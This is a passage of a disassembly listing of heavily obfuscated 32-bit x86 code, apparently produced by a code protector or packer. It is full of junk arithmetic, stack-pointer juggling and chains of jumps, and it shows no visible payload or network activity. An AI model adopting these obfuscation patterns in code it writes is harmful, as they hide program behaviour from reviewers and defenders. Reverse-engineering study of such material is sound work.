loc_5A0418:				; CODE XREF: sub_58A891+147C8j
		inc	edx
		not	edx
		xor	edx, 23D02DCDh
		not	edx
		neg	edx
		push	eax
		push	ecx
		mov	ecx, 58D43210h
		jmp	loc_5A1D8E
; ---------------------------------------------------------------------------


loc_5A0431:				; CODE XREF: sub_58A891+24531j
		sub	eax, 3EA01E75h
		push	2EBDh
		mov	[esp+0BAh+var_BA], edx
		mov	edx, 7DF0A06h
		jmp	loc_5A1132
; ---------------------------------------------------------------------------


loc_5A0448:				; CODE XREF: sub_58A891+1784Bj
		mov	eax, 2
		push	ebp
		mov	ebp, 5A84430Dh
		add	esi, ebp
		pop	ebp
		add	esi, 2B383FB3h
		jmp	loc_5A1964
; ---------------------------------------------------------------------------


loc_5A0461:				; CODE XREF: sub_58A891+2462Fj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		push	[esp+0BEh+var_BA]
		mov	edx, [esp+0C2h+var_C4+2]
		add	esp, 4
		pop	[esp+0BEh+var_BE]
		pop	esp
		mov	[esp+0B6h+var_B6], ebx
		push	ebp
		mov	ebp, 1
		mov	ebx, ebp
		pop	ebp
		and	eax, ebx
		push	[esp+0B6h+var_B6]
		pop	ebx
		push	5ACh
		jmp	loc_5B1EBF
; ---------------------------------------------------------------------------


loc_5A049A:				; CODE XREF: sub_58A891+15D53j
		xchg	ebp, [esp+0BAh+var_BA]
		pop	esp
		xor	eax, 65444B5Fh
		mov	ebp, [esp+0B6h+var_B6]
		sub	esp, 4
		mov	[esp+0BAh+var_BA], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0BAh+var_BA]
		pop	esp
		jmp	loc_59FDE2
; ---------------------------------------------------------------------------


loc_5A04C6:				; CODE XREF: sub_58A891+16FA0j
					; sub_58A891+185CEj
		add	edx, eax
		pop	eax
		sub	edx, 16F96AFBh
		mov	ecx, edx
		mov	edx, [esp+0B2h+var_B2]
		add	esp, 4
		push	ebp
		push	edi
		push	2D76135h
		jmp	loc_5A1EF3
; ---------------------------------------------------------------------------


loc_5A04E3:				; CODE XREF: sub_58A891+169ABj
		add	esp, 4
		xor	ecx, [esp+0B6h+var_B6]
		xor	[esp+0B6h+var_B6], ecx
		xor	ecx, [esp+0B6h+var_B6]
		pop	esp
		jmp	loc_5AED07
; ---------------------------------------------------------------------------


loc_5A04F8:				; CODE XREF: sub_58A891+21280j
					; sub_58A891+213D1j ...
		xor	ebp, 59FA756Dh
		add	ebp, 4B11482h
		jmp	loc_5AF528
; ---------------------------------------------------------------------------


loc_5A0509:				; CODE XREF: sub_58A891+25B7Ej
		mov	[esp+0B2h+var_B2], eax
		mov	eax, 0B15473Dh
		mov	edi, eax
		pop	eax
		jmp	loc_5A3785
; ---------------------------------------------------------------------------


loc_5A0519:				; CODE XREF: sub_58A891+1B1B9j
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp+0AAh+var_AA]
		pop	esp
		push	cx
		jmp	loc_5A9FBB
; ---------------------------------------------------------------------------


loc_5A0528:				; CODE XREF: sub_58A891+1DF77j
		pop	[esp+0A8h+var_AA+2]
		jmp	loc_5AA573
; ---------------------------------------------------------------------------


loc_5A0530:				; CODE XREF: sub_58A891+17257j
		pop	ecx
		jmp	loc_59FCD5
; ---------------------------------------------------------------------------


loc_5A0536:				; CODE XREF: sub_58A891:loc_59CB13j
		dec	ebx
		neg	ebx
		jns	loc_5B193D
		sub	ebx, 9BFFFF5Ah
		jmp	loc_59D452
; ---------------------------------------------------------------------------


loc_5A054A:				; CODE XREF: sub_58A891+25FF6j
		mov	esi, 4
		add	ebx, esi
		pop	esi
		sub	ebx, 4
		jmp	loc_59FF0E
; ---------------------------------------------------------------------------


loc_5A055D:				; CODE XREF: sub_58A891+145AAj
		push	esi
		mov	esi, esp
		jmp	loc_5AFC04
; ---------------------------------------------------------------------------


loc_5A0565:				; CODE XREF: sub_58A891+13F8Dj
		mov	ebp, 5B444EBh
		jmp	loc_5A8469
; ---------------------------------------------------------------------------


loc_5A056F:				; CODE XREF: sub_58A891+2778Dj
		push	ebp
		mov	ebp, 4
		push	753Ch
		mov	[esp+92h+var_92], ecx
		jmp	loc_5AC6DB
; ---------------------------------------------------------------------------


loc_5A0582:				; CODE XREF: sub_58A891+1E660j
		xchg	ebp, [esp+92h+var_92]
		mov	esp, [esp+92h+var_92]
		movzx	ecx, ax
		push	58B0h
		mov	[esp+96h+var_96], ecx
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A0598:				; CODE XREF: sub_58A891+161E1j
		pop	ebx
		add	esi, 2
		push	esi
		jmp	loc_5AB00F
; ---------------------------------------------------------------------------


loc_5A05A5:				; CODE XREF: sub_58A891+21033j
		shr	di, 1
		shl	di, 6
		jnz	loc_59F266
		or	di, 59A8h
		jz	loc_5ACB26
		push	edi


loc_5A05BE:				; CODE XREF: sub_58A891+13B8Fj
		push	ebp
		push	727F35FCh
		pop	ebp
		sub	ebp, 727F35FCh
		mov	[ecx], ebp
		mov	ebp, [esp+9Eh+var_9E]
		jmp	loc_59D339
; ---------------------------------------------------------------------------


loc_5A05D5:				; CODE XREF: sub_58A891+1AA6Bj
		push	eax
		jmp	loc_5A84CA
; ---------------------------------------------------------------------------


loc_5A05DB:				; CODE XREF: sub_58A891+1C4D2j
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		jmp	loc_5A049A
; ---------------------------------------------------------------------------


loc_5A05E9:				; CODE XREF: sub_58A891+19DBFj
		add	edx, 0F000667h
		push	edi
		jmp	loc_5A2450
; ---------------------------------------------------------------------------


loc_5A05F5:				; CODE XREF: sub_58A891+123FFj
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp+86h+var_86], ebx
		push	eax
		push	0E17h
		jmp	loc_59D8FC
; ---------------------------------------------------------------------------


loc_5A060E:				; CODE XREF: sub_58A891+220EBj
					; sub_58A891+242BCj
		sub	[esp+8Eh+var_8A], esi
		pop	esi
		jmp	loc_5A91CA
; ---------------------------------------------------------------------------


loc_5A0618:				; CODE XREF: sub_58A891+22EB3j
		push	[esp+8Ah+var_8A]
		mov	ecx, [esp+8Eh+var_8E]
		add	esp, 4
		push	7BEDh
		mov	[esp+8Eh+var_8E], edi
		sub	esp, 4
		jmp	loc_5B1B67
; ---------------------------------------------------------------------------


loc_5A0631:				; CODE XREF: sub_58A891+16920j
		and	edi, 3EEF415Ah
		jp	loc_5A4CF2
		shl	edi, 3
		neg	edi
		dec	edi
		jp	loc_5A7F2A
		xor	edi, 7CCDF7BBh
		mov	ebp, edi
		pop	edi
		jmp	loc_5AD944
; ---------------------------------------------------------------------------


loc_5A0657:				; CODE XREF: sub_58A891+1DEBEj
		pop	ebx
		pop	ebx
		push	edi
		mov	edi, 27250268h
		neg	edi
		jmp	loc_5AF520
; ---------------------------------------------------------------------------


loc_5A0666:				; CODE XREF: sub_58A891+24E9Aj
		xchg	ebp, [esp+8Ah+var_8A]
		mov	esp, [esp+8Ah+var_8A]
		mov	[esp+8Ah+var_8A], edx
		mov	edx, 4
		push	esi
		mov	esi, 35066405h
		dec	esi
		sub	esi, 7C58645Eh
		add	esi, 5FDB7233h
		sub	ebp, esi
		pop	esi
		jmp	loc_5A1E3D
; ---------------------------------------------------------------------------


loc_5A068F:				; CODE XREF: sub_58A891+21081j
		add	esp, 4
		push	ebx
		push	[esp+8Ah+var_86]
		pop	ebx
		pop	[esp+8Ah+var_8A]
		mov	esp, [esp+86h+var_86]
		jmp	loc_5B2BB4
; ---------------------------------------------------------------------------


loc_5A06A3:				; CODE XREF: sub_58A891+235E6j
		add	esp, 4
		xchg	edx, [esp+82h+var_82]
		pop	esp
		jmp	loc_5A8EE2
; ---------------------------------------------------------------------------


loc_5A06B2:				; CODE XREF: sub_58A891+18993j
		not	cl
		xor	cl, 57h
		jmp	loc_5B21B2
; ---------------------------------------------------------------------------


loc_5A06BC:				; CODE XREF: sub_58A891+22A0Fj
		mov	[esp+7Eh+var_7E], ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	0FA141F0h
		pop	ebx
		and	ebx, 1BBE2793h
		or	ebx, 31613B06h
		add	ebx, 0A442117h
		mov	ecx, ebx
		jmp	loc_5A7012
; ---------------------------------------------------------------------------


loc_5A06E2:				; CODE XREF: sub_58A891+2822Fj
		mov	edx, 4
		add	ebp, 31B30C1Ch
		add	ebp, edx
		sub	ebp, 31B30C1Ch
		jmp	loc_5B13B6
; ---------------------------------------------------------------------------


loc_5A06FA:				; CODE XREF: sub_58A891+2171Aj
		mov	[esp+86h+var_86], edx
		push	[esp+86h+var_82]
		pop	edx
		pop	[esp+86h+var_86]
		pop	esp
		mov	word ptr [esp+7Eh+var_7E], dx
		mov	dh, 81h
		sub	al, dh
		jmp	loc_59E596
; ---------------------------------------------------------------------------


loc_5A0713:				; CODE XREF: sub_58A891+1A2F9j
					; sub_58A891+2647Ej
		push	73B4h
		mov	[esp+82h+var_82], ebp
		push	esp
		mov	ebp, [esp+86h+var_86]
		jmp	loc_5A51C7
; ---------------------------------------------------------------------------


loc_5A0724:				; CODE XREF: sub_58A891+24A19j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+86h+var_86]
		jmp	loc_5ABF3A
; ---------------------------------------------------------------------------


loc_5A0735:				; CODE XREF: sub_58A891+265B6j
		neg	ebx
		sub	ebx, 36C33E13h
		jmp	loc_59FC8C
; ---------------------------------------------------------------------------


loc_5A0742:				; CODE XREF: sub_58A891+2867Bj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+86h+var_86]
		mov	esp, [esp+86h+var_86]
		mov	[esp+86h+var_86], esp
		push	ecx
		jmp	loc_59E42D
; ---------------------------------------------------------------------------


loc_5A075D:				; CODE XREF: sub_58A891+11D83j
		and	eax, 3C2E3D05h
		jb	loc_5AA09A
		push	ecx
		mov	ecx, 0F9DCE80Fh
		add	eax, ecx
		jmp	loc_5AC133
; ---------------------------------------------------------------------------


loc_5A0775:				; CODE XREF: sub_58A891+198D5j
					; sub_58A891+1CC1Ej
		pop	ecx
		sub	esp, 4
		mov	[esp+46h+var_46], edx
		mov	edx, esp
		push	2F3Ah
		mov	[esp+4Ah+var_4A], ebp
		mov	ebp, 4
		jmp	loc_5A58EA
; ---------------------------------------------------------------------------


loc_5A0790:				; CODE XREF: sub_58A891+233BFj
		mov	[esp+4Ah+var_4A], esi
		mov	esi, 7F735CFCh
		jmp	loc_5A72FE
; ---------------------------------------------------------------------------


loc_5A079D:				; CODE XREF: sub_58A891+1EC99j
		xor	esi, 642437Fh
		and	esi, 7CF53D7Dh
		jmp	loc_59FEAA
; ---------------------------------------------------------------------------


loc_5A07AE:				; CODE XREF: sub_58A891+152F9j
					; sub_58A891+2361Aj
		sub	edx, 0DB141BE7h
		jmp	loc_5A53C7
; ---------------------------------------------------------------------------


loc_5A07B9:				; CODE XREF: sub_58A891+218D6j
		xor	bl, 9Eh
		add	bl, 28h
		sub	al, bl
		pop	ebx
		jmp	loc_5ADE0D
; ---------------------------------------------------------------------------


loc_5A07C7:				; CODE XREF: sub_58A891+28655j
		pop	ecx
		add	edi, edx
		pop	edx
		jmp	loc_5A3296
; ---------------------------------------------------------------------------


loc_5A07D0:				; CODE XREF: sub_58A891+18013j
		add	ebx, ecx
		sub	ebx, 7B274597h
		pop	ecx
		add	ebx, 4
		xor	ebx, [esp-26h+arg_1C+2]
		xor	[esp-26h+arg_1C+2], ebx
		jmp	loc_5A5BC3
; ---------------------------------------------------------------------------


loc_5A07E7:				; CODE XREF: sub_58A891+15568j
		sub	[esp+2+var_4+2], 14AC5B57h
		pop	ecx
		add	ecx, 14AC5B57h
		mov	esi, [esp+0]
		add	esp, 4
		sub	[esp-6+arg_4+2], ecx
		mov	ecx, [esp+0]
		jmp	loc_5B0AEF
; ---------------------------------------------------------------------------


loc_5A080A:				; CODE XREF: sub_58A891+19C08j
		add	eax, ebx
		pop	ebx
		mov	ebp, [esp-0Ah+arg_0+2]
		add	esp, 4
		xor	eax, [esp-0Eh+arg_4+2]
		xor	[esp-0Eh+arg_4+2], eax
		xor	eax, [esp-0Eh+arg_4+2]
		mov	esp, [esp-0Eh+arg_4+2]
		movsx	cx, al
		jmp	loc_5AC273
; ---------------------------------------------------------------------------


loc_5A0828:				; CODE XREF: sub_58A891+285AAj
		jmp	loc_5AAC31
; ---------------------------------------------------------------------------


loc_5A082D:				; CODE XREF: sub_58A891:loc_5AE15Ej
		jmp	loc_5A511A
; ---------------------------------------------------------------------------


loc_5A0832:				; CODE XREF: sub_58A891+11A27j
		add	ebp, edi
		sub	ebp, 77A67F5Eh
		pop	edi
		push	ebx
		mov	ebx, 175B0360h
		jmp	loc_59CC4B
; ---------------------------------------------------------------------------


loc_5A0846:				; CODE XREF: sub_58A891+148F5j
		mov	esp, [esp+0C6h+var_C8+2]
		btr	word ptr [esp+0C6h+var_C8+2], ax
		pushf
		jmp	loc_5AFFCB
; ---------------------------------------------------------------------------


loc_5A0854:				; CODE XREF: sub_58A891+18541j
		mov	ebp, 3A3B3CB9h
		or	esi, ebp
		push	[esp+0CAh+var_CC+2]
		jmp	loc_59D2A3
; ---------------------------------------------------------------------------


loc_5A0863:				; CODE XREF: sub_58A891+14607j
		pop	esp
		push	esp
		pop	[esp+6Ah+var_6C+2]
		push	ecx
		jmp	loc_5A1451
; ---------------------------------------------------------------------------


loc_5A086E:				; CODE XREF: sub_58A891+184D6j
		pop	[esp+6Ah+var_6C+2]
		pop	esp
		mov	[esp+62h+var_64+2], eax
		jmp	loc_5ADB77
; ---------------------------------------------------------------------------


loc_5A087A:				; CODE XREF: sub_58A891+23372j
		pop	dx
		add	al, bh
		jmp	loc_59E88E
; ---------------------------------------------------------------------------


loc_5A0883:				; CODE XREF: sub_58A891+2340Fj
		inc	ecx
		push	ebp
		mov	ebp, 5C167A34h
		or	ebp, 54F85F78h
		xor	ebp, 88322BFFh
		xor	ecx, ebp
		mov	ebp, [esp+64h+var_64]
		add	esp, 4
		jmp	loc_59BFB3
; ---------------------------------------------------------------------------


loc_5A08A6:				; CODE XREF: sub_58A891+1D34Dj
		pop	edi
		push	ebx
		mov	ebx, 365F39ADh
		sub	esp, 4
		mov	[esp+64h+var_64], eax
		mov	eax, 0
		sub	eax, ebx
		xchg	eax, ebx
		pop	eax
		jmp	loc_5AD0D8
; ---------------------------------------------------------------------------


loc_5A08C4:				; CODE XREF: sub_58A891+16845j
		sub	esi, 4
		xchg	esi, [esp+60h+var_60]
		jmp	loc_5AB3FF
; ---------------------------------------------------------------------------


loc_5A08D2:				; CODE XREF: sub_58A891+1C1A8j
		neg	cl
		xor	cl, 44h
		sub	bl, cl
		pop	ecx
		sub	esp, 4
		jmp	loc_5A8CA9
; ---------------------------------------------------------------------------


loc_5A08E2:				; CODE XREF: sub_58A891+257CAj
		push	esi
		mov	esi, 3A4D2E13h
		neg	esi
		shr	esi, 8
		inc	esi
		push	ebx
		mov	ebx, 5E0F4ED3h
		add	ebx, 0FFFFFFFFh
		jmp	loc_59EE4C
; ---------------------------------------------------------------------------


loc_5A08FF:				; CODE XREF: sub_58A891+2472Bj
		mov	edx, 3F554AEDh
		xchg	ecx, edx
		not	ecx
		xchg	ecx, edx
		xor	edx, 271301C0h
		add	edx, 74481D2Eh
		ja	loc_59C42C
		and	edx, 6AF4212Ch
		push	ebx
		mov	ebx, 3F5942C2h
		shr	ebx, 4
		and	ebx, 84961D8h
		jmp	loc_5AAE71
; ---------------------------------------------------------------------------


loc_5A0936:				; CODE XREF: sub_58A891+17869j
		xor	ecx, 0EA065628h
		mov	ebp, ecx
		jmp	loc_5AA734
; ---------------------------------------------------------------------------


loc_5A0943:				; CODE XREF: sub_58A891+1E9B2j
		mov	ebp, 34F0AE0h
		xor	ebp, ecx
		mov	ecx, [esp+6Ch+var_6C]
		add	esp, 4
		push	ecx
		mov	ecx, 6C4B60BBh
		xor	ebp, ecx
		pop	ecx
		push	edi
		jmp	loc_59EDA8
; ---------------------------------------------------------------------------


loc_5A0962:				; CODE XREF: sub_58A891+13293j
		mov	esi, 530E3EA7h
		sub	esi, 7494652h
		jnb	loc_5B1433
		xor	esi, 676C21C5h
		or	esi, 6EE94060h


loc_5A097F:				; CODE XREF: sub_58A891+1F6F5j
		mov	edi, [esp-16h+arg_E]
		jmp	loc_59ED3A
; ---------------------------------------------------------------------------


loc_5A0987:				; CODE XREF: sub_58A891+174D0j
					; sub_58A891+2180Dj
		push	edi
		push	7686h
		push	esp
		pop	[esp-0Ah+arg_0+2]
		push	esi
		push	eax
		mov	eax, 477F3E7Bh
		add	eax, 0B880C189h
		jmp	loc_59D584
; ---------------------------------------------------------------------------


loc_5A09A2:				; CODE XREF: sub_58A891+18C06j
		mov	ch, 1Bh
		jmp	loc_5A7644
; ---------------------------------------------------------------------------


loc_5A09A9:				; CODE XREF: sub_58A891+252A8j
		mov	[esp+0], esi
		mov	esi, 19AE5089h
		sub	esp, 4
		mov	[esp+0], esi
		not	dword ptr [esp+0]
		pop	esi
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		sub	esp, 4
		mov	[esp+0], esi
		xor	[esp+0], esi
		xor	esi, [esp+0]
		xor	[esp+0], esi
		not	esi
		xor	[esp+0], esi
		xor	esi, [esp+0]
		xor	[esp+0], esi
		pop	esi
		neg	esi
		sub	esi, 0B9E4F8D1h
		sub	edi, 314A2DE8h
		jmp	loc_59FC81
; ---------------------------------------------------------------------------


loc_5A09EF:				; CODE XREF: sub_58A891+22AB2j
		push	dword ptr [esp+0]
		pop	esi
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp+0]
		xor	[esp+0], edi
		xor	edi, [esp+0]
		pop	esp
		push	edi
		mov	edi, 55275BEAh
		and	edi, 10486653h
		sub	edi, 3A07537Dh
		jmp	loc_5A6833
; ---------------------------------------------------------------------------


loc_5A0A3D:				; CODE XREF: sub_58A891+1794Aj
		sub	ecx, 6CF359A8h
		pop	edi
		add	ecx, 4
		jmp	loc_5A42F1
; ---------------------------------------------------------------------------


loc_5A0A4F:				; CODE XREF: sub_58A891+2569Cj
		mov	edi, 4
		jmp	loc_5ADBA1
; ---------------------------------------------------------------------------


loc_5A0A59:				; CODE XREF: sub_58A891+1D6DAj
		mov	esi, [esp+0]
		add	esp, 4
		jmp	loc_5B1EA6
; ---------------------------------------------------------------------------


loc_5A0A64:				; CODE XREF: sub_58A891+1DD52j
		add	esi, ebx
		sub	esi, 403A38A1h
		add	esi, 2D192C01h
		jmp	loc_5A0598
; ---------------------------------------------------------------------------


loc_5A0A77:				; CODE XREF: sub_58A891+19ABFj
		sub	ebx, 4
		xchg	ebx, [esp-0Ah+arg_0+2]
		pop	esp
		mov	[esp-0Eh+arg_4+2], ecx
		push	0B4Ch
		mov	[esp-0Ah+arg_0+2], edx
		mov	dl, 0E9h
		mov	ch, 29h
		jmp	loc_5B1AE0
; ---------------------------------------------------------------------------


loc_5A0A92:				; CODE XREF: sub_58A891:loc_5A17F8j
		add	eax, 0F6772161h
		mov	esi, eax
		pop	eax
		jmp	loc_5A37B7
; ---------------------------------------------------------------------------


loc_5A0A9F:				; CODE XREF: sub_58A891+1A46Dj
					; sub_58A891+2136Dj
		xor	bh, 85h
		jmp	loc_5ABF32
; ---------------------------------------------------------------------------


loc_5A0AA7:				; CODE XREF: sub_58A891+20385j
		mov	edi, ecx
		pop	ecx
		add	eax, edi
		pop	edi
		sub	eax, 4
		jmp	loc_5A6CD8
; ---------------------------------------------------------------------------


loc_5A0AB5:				; CODE XREF: sub_58A891+14473j
		or	edi, 7716687Dh
		not	edi
		or	edi, 3A111F74h
		jmp	loc_59DD8E
; ---------------------------------------------------------------------------


loc_5A0AC8:				; CODE XREF: sub_58A891+18E23j
		add	esp, 4
		sub	edx, 0D7007C8h
		xor	eax, edx
		pop	edx
		add	ebx, eax
		mov	eax, [esp+0]
		add	esp, 4
		xchg	ebx, [esp+72h+var_74+2]
		jmp	loc_5AAA52
; ---------------------------------------------------------------------------


loc_5A0AE7:				; CODE XREF: sub_58A891+1243Ej
		mov	ecx, esi
		pop	esi
		sub	esp, 4
		mov	[esp+7Eh+var_7E], ecx
		jmp	loc_5AF730
; ---------------------------------------------------------------------------


loc_5A0AF5:				; CODE XREF: sub_58A891+24458j
		pop	edi
		pop	ebx
		push	small 3FB8h
		mov	word ptr [esp+78h+var_7A+2], dx
		jmp	loc_59D75E
; ---------------------------------------------------------------------------


loc_5A0B04:				; CODE XREF: sub_58A891+11ADDj
		push	cx
		pushf
		jmp	loc_59C5BE
; ---------------------------------------------------------------------------


loc_5A0B0C:				; CODE XREF: sub_58A891+17266j
		add	esp, 4
		shr	eax, 7
		inc	eax
		jmp	loc_5AC49F
; ---------------------------------------------------------------------------


loc_5A0B1B:				; CODE XREF: sub_58A891+1581Fj
		pop	eax
		mov	ecx, edi
		pop	edi
		sub	eax, 632158ACh
		add	eax, ecx
		push	ebp
		mov	ebp, 632158ACh
		add	eax, ebp
		pop	ebp
		push	[esp-16h+arg_E]
		pop	ecx
		add	esp, 4
		jmp	loc_5A4F13
; ---------------------------------------------------------------------------


loc_5A0B3E:				; CODE XREF: sub_58A891+1B66Cj
		push	eax
		jmp	loc_5A1372
; ---------------------------------------------------------------------------


loc_5A0B44:				; CODE XREF: sub_58A891+19155j
					; sub_58A891+2839Dj
		not	ebp
		jmp	loc_5A942F
; ---------------------------------------------------------------------------


loc_5A0B4B:				; CODE XREF: sub_58A891+26EBAj
		or	ebx, ecx
		mov	ecx, [esp-16h+arg_E]
		add	esp, 4
		push	ebx
		jmp	loc_59FF56
; ---------------------------------------------------------------------------


loc_5A0B5C:				; CODE XREF: sub_58A891+11B96j
		mov	edi, 779855D4h
		mov	edx, edi
		pop	edi
		add	eax, 36DB47F7h
		jmp	loc_5AF8D0
; ---------------------------------------------------------------------------


loc_5A0B6E:				; CODE XREF: sub_58A891+19680j
		add	esp, 4
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A0B79:				; CODE XREF: sub_58A891+28205j
		add	ecx, 79F55EDEh
		add	ecx, 1D580999h
		add	ecx, 70F91439h
		add	ecx, edi
		sub	ecx, 70F91439h
		sub	ecx, 1D580999h
		jmp	loc_5ADBE0
; ---------------------------------------------------------------------------


loc_5A0B9E:				; CODE XREF: sub_58A891+1F28Cj
		push	ebx
		push	ebp
		mov	ebp, 4
		jmp	loc_5A25C0
; ---------------------------------------------------------------------------


loc_5A0BAA:				; CODE XREF: sub_58A891+1B368j
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		and	eax, ebp
		push	dword ptr [esp+0]
		mov	ebp, [esp-16h+arg_E]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_5A47D4
		push	981h
		mov	[esp+0], eax
		push	1Ch
		mov	eax, [esp-16h+arg_E]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 95F7ACCh
		jmp	loc_5B1ABC
; ---------------------------------------------------------------------------


loc_5A0BED:				; CODE XREF: sub_58A891+22703j
		jo	loc_5A0177
		not	edi
		jmp	loc_5A389C
; ---------------------------------------------------------------------------


loc_5A0BFA:				; CODE XREF: sub_58A891+128BEj
					; sub_58A891+20FDAj
		or	edx, 1C8858ADh
		add	edx, 48B88171h
		jmp	loc_5B1B9D
; ---------------------------------------------------------------------------


loc_5A0C0B:				; CODE XREF: sub_58A891+13C79j
		pop	edi
		add	esp, 4
		jmp	loc_5A4059
; ---------------------------------------------------------------------------


loc_5A0C14:				; CODE XREF: sub_58A891+2560Fj
		add	esi, 5540376h
		add	esi, 15B963E6h
		add	esi, eax
		sub	esi, 15B963E6h
		sub	esi, 5540376h
		push	ebx
		mov	ebx, 0F5D7F29h
		sub	esi, ebx
		pop	ebx
		push	1E0693h
		mov	ebx, [esp+16h+var_18+2]
		add	esp, 4
		push	ecx
		push	esi
		jmp	loc_5A8E47
; ---------------------------------------------------------------------------


loc_5A0C49:				; CODE XREF: sub_58A891+23CEBj
		mov	esi, 4
		sub	eax, 174436C0h
		add	eax, esi
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], ebx
		push	edx
		push	5FB2135Dh
		pop	edx
		not	edx
		add	edx, 76F64A1Eh
		mov	ebx, edx
		jmp	loc_5AE3E6
; ---------------------------------------------------------------------------


loc_5A0C71:				; CODE XREF: sub_58A891+217CAj
		shr	esi, 5
		push	edi
		mov	edi, 0EA8A08h
		xor	esi, edi
		pop	edi
		jmp	loc_5A96BF
; ---------------------------------------------------------------------------


loc_5A0C82:				; CODE XREF: sub_58A891+27C39j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+22h+var_24+2]
		pop	esp
		xor	dh, al
		mov	ax, word ptr [esp+1Eh+var_20+2]
		push	6134h
		mov	[esp+22h+var_24+2], edi
		push	esp
		jmp	loc_5B041C
; ---------------------------------------------------------------------------


loc_5A0CA3:				; CODE XREF: sub_58A891+1F4A2j
		add	eax, 0F99052B3h
		sub	ecx, eax
		mov	eax, [esp+26h+var_28+2]
		add	esp, 4
		add	eax, ecx
		pop	ecx
		jmp	loc_5AFA7A
; ---------------------------------------------------------------------------


loc_5A0CB8:				; CODE XREF: sub_58A891+1C022j
		sub	ebx, 7CE820E0h
		add	ebx, edx
		add	ebx, 7CE820E0h
		add	ebx, 1F077D16h
		pop	edx
		push	ebx
		push	[esp+1Eh+var_1C+2]
		mov	ebx, [esp+22h+var_24+2]
		jmp	loc_59D1AF
; ---------------------------------------------------------------------------


loc_5A0CDA:				; CODE XREF: sub_58A891+154E1j
		and	edx, 725B7DB8h
		jnz	loc_5A57E2
		and	edx, 3679058Eh
		jp	loc_5A2F7F
		mov	ebp, ebx


loc_5A0CF4:				; CODE XREF: sub_58A891+2538Fj
		push	ebx
		mov	bl, 9Fh
		mov	al, bl
		mov	ebx, [esp+62h+var_64+2]
		add	esp, 4
		push	edx
		jmp	loc_5A413D
; ---------------------------------------------------------------------------


loc_5A0D08:				; CODE XREF: sub_58A891:loc_5A8879j
		xor	ecx, 2E25A8CEh
		mov	esi, ecx
		mov	ecx, [esp+62h+var_64+2]
		add	esp, 4
		jmp	loc_5AC4A8
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp+62h+var_64+2], eax
		jmp	loc_5AFC3C
; ---------------------------------------------------------------------------


loc_5A0D2C:				; CODE XREF: sub_58A891+1DDD4j
		xor	bl, ch
		pop	ecx
		push	edx
		mov	dh, bl
		push	dx
		not	byte ptr [esp+64h+var_64+1]
		jmp	loc_5B00DF
; ---------------------------------------------------------------------------


loc_5A0D3D:				; CODE XREF: sub_58A891+1ED5Ej
		xor	edx, edi
		pop	edi
		mov	ebx, edx
		pop	edx
		and	eax, ebx
		mov	ebx, [esp+5Ch+var_5C]
		jmp	loc_5AF6BA
; ---------------------------------------------------------------------------


loc_5A0D4D:				; CODE XREF: sub_58A891+14121j
		sub	edi, 52B12402h
		mov	esi, edi
		jmp	loc_5A45DD
; ---------------------------------------------------------------------------


loc_5A0D5A:				; CODE XREF: sub_58A891+18311j
		pop	esp
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+84h+var_86+2]
		pop	esp
		jmp	loc_59D3AD
; ---------------------------------------------------------------------------


loc_5A0D73:				; CODE XREF: sub_58A891+17BBAj
		push	ebp
		jmp	loc_5ABDDF
; ---------------------------------------------------------------------------


loc_5A0D79:				; CODE XREF: sub_58A891+24F2Bj
		push	128D3DB0h
		pop	ebp
		dec	ebp
		jmp	loc_5AD811
; ---------------------------------------------------------------------------


loc_5A0D85:				; CODE XREF: sub_58A891+24778j
		sub	ebp, ebx
		jmp	loc_5A16AA
; ---------------------------------------------------------------------------


loc_5A0D8C:				; CODE XREF: sub_58A891+15997j
		mov	eax, [esp-12h+arg_8+2]
		add	esp, 4
		push	esi
		pop	dword ptr [edx+38h]
		mov	esi, [esp-16h+arg_E]
		add	esp, 4


loc_5A0D9F:				; CODE XREF: sub_58A891+2332Bj
		push	33E7h
		mov	[esp-16h+arg_E], eax
		push	ecx
		jmp	loc_5B1335
; ---------------------------------------------------------------------------


loc_5A0DAD:				; CODE XREF: sub_58A891+14E5Ej
		mov	edx, 0BA56A18h
		push	edi
		mov	edi, 0F45A95ECh
		add	edx, edi
		pop	edi
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp+32h+var_34+2]
		pop	esp
		neg	eax
		jnz	loc_5A2034
		dec	eax
		inc	eax
		jns	loc_5B24D7
		not	eax


loc_5A0DD7:				; CODE XREF: sub_58A891:loc_5A2C81j
		push	2FB4h
		mov	[esp+32h+var_34+2], ecx
		mov	ecx, 77BF5078h
		xor	ebp, ecx
		pop	ecx
		mov	eax, ebp
		jmp	loc_5A5A59
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	small 265Ch
		jmp	loc_5A3625
; ---------------------------------------------------------------------------


loc_5A0DFB:				; CODE XREF: sub_58A891+1C5AEj
		mov	edi, [esp+30h+var_30]
		jmp	loc_5A17EB
; ---------------------------------------------------------------------------


loc_5A0E03:				; CODE XREF: sub_58A891+1940Dj
		add	ebp, edx
		add	ebp, 6180933h
		jmp	loc_5B1EC7
; ---------------------------------------------------------------------------


loc_5A0E10:				; CODE XREF: sub_58A891+17F12j
					; sub_58A891+27D4Aj
		jz	loc_5B07BD
		shl	edi, 4
		jnp	loc_59D3CB
		inc	edi
		jge	loc_59E716
		jmp	loc_59E1E8
; ---------------------------------------------------------------------------
